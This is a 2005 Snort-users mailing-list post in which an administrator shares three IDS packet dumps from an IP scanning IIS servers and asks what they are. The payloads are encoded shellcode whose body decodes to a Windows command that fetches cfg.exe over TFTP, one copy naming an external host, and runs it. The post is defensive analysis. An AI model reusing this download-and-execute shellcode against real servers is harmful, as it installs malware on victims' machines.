[Snort-users] Unrecognized attack patterns against IIS

Michael Scheidell scheidell at ...5171...
Sat Jun 11 08:16:19 EDT 2005


I do not recognize the pattern of these attached packed dumps, but, 
the computer on 24.214.205.38 is actively engaged in searching the 
internet for open web servers, see:
 http://www.mynetwatchman.com/LID.asp?ip=24.214.205.38

and 

Total Records against IP:  	  1112
Number of targets: 	 193
Date Range:	2005-06-05 to 2005-06-11

http://www.dshield.org/ipinfo.php?ip=024.214.205.038

Anyone have any idea what they are trying to do?

-- 
Note: Timezone for this report is GMT.

Generated by BASE v1.1.2 (zora) on Sat, 11 Jun 2005 13:59:02 +0000 GMT. 
All Dates and Times in the report below are also TimeZone GMT.

------------------------------------------------------------------------
------
#(2 - 63022) [2005-06-11 13:51:47] [snort/15]  http_inspect: OVERSIZE
REQUEST-URI DIRECTORY

IPv4: 24.214.205.38 -> 208.138.xxx.xxx
      hlen=5 TOS=0 dlen=1420 ID=14896 flags=2 offset=0 TTL=111
chksum=60910
TCP:  port=61871 -> dport: 80  flags=***A**** seq=3054171714
      ack=3107109074 off=5 res=0 win=65535 urp=0 chksum=3681
Payload:  length = 1380

000 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
010 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
020 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
030 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
040 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
050 : 55 46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49   UFBQUFBQUFBQQMAI
060 : 34 49 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51   4IMVwOCBAoAkEKQQ
070 : 70 42 43 6B 45 4B 42 78 46 54 79 2F 2F 2F 38 36   pBCkEKBxFTy///86
080 : 45 59 41 41 41 43 4C 52 54 79 4C 66 41 56 34 41   EYAAACLRTyLfAV4A
090 : 65 2B 4C 54 78 69 4C 58 79 41 42 36 2B 4D 75 53   e+LTxiLXyAB6+MuS
0a0 : 59 73 30 69 77 48 75 4D 63 43 5A 72 49 54 41 64   Ys0iwHuMcCZrITAd
0b0 : 41 66 42 79 67 30 42 77 75 76 30 4F 31 51 6B 42   AfByg0Bwuv0O1QkB
0c0 : 48 58 6A 69 31 38 6B 41 65 74 6D 69 77 78 4C 69   HXji18kAetmiwxLi
0d0 : 31 38 63 41 65 75 4C 48 49 73 42 36 34 6C 63 4A   18cAeuLHIsB64lcJ
0e0 : 41 54 44 4D 63 42 6B 69 30 41 77 68 63 42 34 44   ATDMcBki0AwhcB4D
0f0 : 34 74 41 44 49 74 77 48 4B 32 4C 61 41 6A 70 43   4tADItwHK2LaAjpC
100 : 77 41 41 41 49 74 41 4E 41 56 38 41 41 41 41 69   wAAAItANAV8AAAAi
110 : 32 67 38 58 7A 48 32 59 46 62 72 44 57 6A 76 7A   2g8XzH2YFbrDWjvz
120 : 75 42 67 61 4A 6A 2B 69 67 35 58 2F 2B 66 6F 37   uBgaJj+ig5X/+fo7
130 : 76 2F 2F 2F 32 4E 74 5A 43 41 76 59 79 42 30 5A   v///2NtZCAvYyB0Z
140 : 6E 52 77 49 43 31 70 49 44 41 75 4D 43 34 77 4C   nRwIC1pIDAuMC4wL
150 : 6A 41 67 52 30 56 55 49 47 4E 6D 5A 79 35 6C 65   jAgR0VUIGNmZy5le
160 : 47 55 6D 63 33 52 68 63 6E 51 67 59 32 5A 6E 4C   GUmc3RhcnQgY2ZnL
170 : 6D 56 34 5A 53 5A 6C 65 47 6C 30 41 45 4A 43 51   mV4ZSZleGl0AEJCQ
180 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
190 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
200 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
210 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
220 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
230 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
240 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
250 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
260 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
270 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
280 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
290 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
300 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
310 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
320 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
330 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
340 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
350 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
360 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
370 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
380 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
390 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
400 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
410 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
420 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
430 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
440 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
450 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
460 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
470 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
480 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
490 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
500 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
510 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
520 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
530 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
540 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
550 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
560 : 6B 4A 43 51                                       kJCQ
------------------------------------------------------------------------
------
#(2 - 55922) [2005-06-08 01:52:00] [snort/15]  http_inspect: OVERSIZE
REQUEST-URI DIRECTORY

IPv4: 24.214.205.38 -> 208.138.xxx.xxx
      hlen=5 TOS=0 dlen=1420 ID=31328 flags=2 offset=0 TTL=111
chksum=44482
TCP:  port=52043 -> dport: 80  flags=***A**** seq=894735184
      ack=3806704065 off=5 res=0 win=65535 urp=0 chksum=62927
Payload:  length = 1380

000 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
010 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
020 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
030 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
040 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
050 : 55 46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49   UFBQUFBQUFBQQMAI
060 : 34 49 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51   4IMVwOCBAoAkEKQQ
070 : 70 42 43 6B 45 4B 42 78 46 54 79 2F 2F 2F 38 36   pBCkEKBxFTy///86
080 : 45 59 41 41 41 43 4C 52 54 79 4C 66 41 56 34 41   EYAAACLRTyLfAV4A
090 : 65 2B 4C 54 78 69 4C 58 79 41 42 36 2B 4D 75 53   e+LTxiLXyAB6+MuS
0a0 : 59 73 30 69 77 48 75 4D 63 43 5A 72 49 54 41 64   Ys0iwHuMcCZrITAd
0b0 : 41 66 42 79 67 30 42 77 75 76 30 4F 31 51 6B 42   AfByg0Bwuv0O1QkB
0c0 : 48 58 6A 69 31 38 6B 41 65 74 6D 69 77 78 4C 69   HXji18kAetmiwxLi
0d0 : 31 38 63 41 65 75 4C 48 49 73 42 36 34 6C 63 4A   18cAeuLHIsB64lcJ
0e0 : 41 54 44 4D 63 42 6B 69 30 41 77 68 63 42 34 44   ATDMcBki0AwhcB4D
0f0 : 34 74 41 44 49 74 77 48 4B 32 4C 61 41 6A 70 43   4tADItwHK2LaAjpC
100 : 77 41 41 41 49 74 41 4E 41 56 38 41 41 41 41 69   wAAAItANAV8AAAAi
110 : 32 67 38 58 7A 48 32 59 46 62 72 44 57 6A 76 7A   2g8XzH2YFbrDWjvz
120 : 75 42 67 61 4A 6A 2B 69 67 35 58 2F 2B 66 6F 37   uBgaJj+ig5X/+fo7
130 : 76 2F 2F 2F 32 4E 74 5A 43 41 76 59 79 42 30 5A   v///2NtZCAvYyB0Z
140 : 6E 52 77 49 43 31 70 49 44 41 75 4D 43 34 77 4C   nRwIC1pIDAuMC4wL
150 : 6A 41 67 52 30 56 55 49 47 4E 6D 5A 79 35 6C 65   jAgR0VUIGNmZy5le
160 : 47 55 6D 63 33 52 68 63 6E 51 67 59 32 5A 6E 4C   GUmc3RhcnQgY2ZnL
170 : 6D 56 34 5A 53 5A 6C 65 47 6C 30 41 45 4A 43 51   mV4ZSZleGl0AEJCQ
180 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
190 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
200 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
210 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
220 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
230 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
240 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
250 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
260 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
270 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
280 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
290 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
300 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
310 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
320 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
330 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
340 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
350 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
360 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
370 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
380 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
390 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
400 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
410 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
420 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
430 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
440 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
450 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
460 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
470 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
480 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
490 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
500 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
510 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
520 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
530 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
540 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
550 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
560 : 6B 4A 43 51                                       kJCQ
------------------------------------------------------------------------
------
#(2 - 54179) [2005-06-07 07:57:10] [snort/15]  http_inspect: OVERSIZE
REQUEST-URI DIRECTORY

IPv4: 24.214.205.38 -> 208.138.xxx.xxx
      hlen=5 TOS=0 dlen=1420 ID=18428 flags=2 offset=0 TTL=111
chksum=57378
TCP:  port=28477 -> dport: 80  flags=***A**** seq=124727956
      ack=3115002626 off=5 res=0 win=64860 urp=0 chksum=34813
Payload:  length = 1380

000 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
010 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
020 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
030 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
040 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
050 : 55 46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49   UFBQUFBQUFBQQMAI
060 : 34 49 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51   4IMVwOCBAoAkEKQQ
070 : 70 42 43 6B 45 4B 42 78 46 54 79 2F 2F 2F 38 36   pBCkEKBxFTy///86
080 : 45 59 41 41 41 43 4C 52 54 79 4C 66 41 56 34 41   EYAAACLRTyLfAV4A
090 : 65 2B 4C 54 78 69 4C 58 79 41 42 36 2B 4D 75 53   e+LTxiLXyAB6+MuS
0a0 : 59 73 30 69 77 48 75 4D 63 43 5A 72 49 54 41 64   Ys0iwHuMcCZrITAd
0b0 : 41 66 42 79 67 30 42 77 75 76 30 4F 31 51 6B 42   AfByg0Bwuv0O1QkB
0c0 : 48 58 6A 69 31 38 6B 41 65 74 6D 69 77 78 4C 69   HXji18kAetmiwxLi
0d0 : 31 38 63 41 65 75 4C 48 49 73 42 36 34 6C 63 4A   18cAeuLHIsB64lcJ
0e0 : 41 54 44 4D 63 42 6B 69 30 41 77 68 63 42 34 44   ATDMcBki0AwhcB4D
0f0 : 34 74 41 44 49 74 77 48 4B 32 4C 61 41 6A 70 43   4tADItwHK2LaAjpC
100 : 77 41 41 41 49 74 41 4E 41 56 38 41 41 41 41 69   wAAAItANAV8AAAAi
110 : 32 67 38 58 7A 48 32 59 46 62 72 44 57 6A 76 7A   2g8XzH2YFbrDWjvz
120 : 75 42 67 61 4A 6A 2B 69 67 35 58 2F 2B 66 6F 37   uBgaJj+ig5X/+fo7
130 : 76 2F 2F 2F 32 4E 74 5A 43 41 76 59 79 42 30 5A   v///2NtZCAvYyB0Z
140 : 6E 52 77 49 43 31 70 49 44 49 77 4F 43 34 32 4D   nRwIC1pIDIwOC42M
150 : 69 34 78 4E 6A 67 75 4D 54 51 67 52 30 56 55 49   i4xNjguMTQgR0VUI
160 : 47 4E 6D 5A 79 35 6C 65 47 55 6D 63 33 52 68 63   GNmZy5leGUmc3Rhc
170 : 6E 51 67 59 32 5A 6E 4C 6D 56 34 5A 53 5A 6C 65   nQgY2ZnLmV4ZSZle
180 : 47 6C 30 41 45 4A 43 51 6B 4A 43 51 6B 4A 43 51   Gl0AEJCQkJCQkJCQ
190 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
200 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
210 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
220 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
230 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
240 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
250 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
260 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
270 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
280 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
290 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
300 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
310 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
320 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
330 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
340 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
350 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
360 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
370 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
380 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
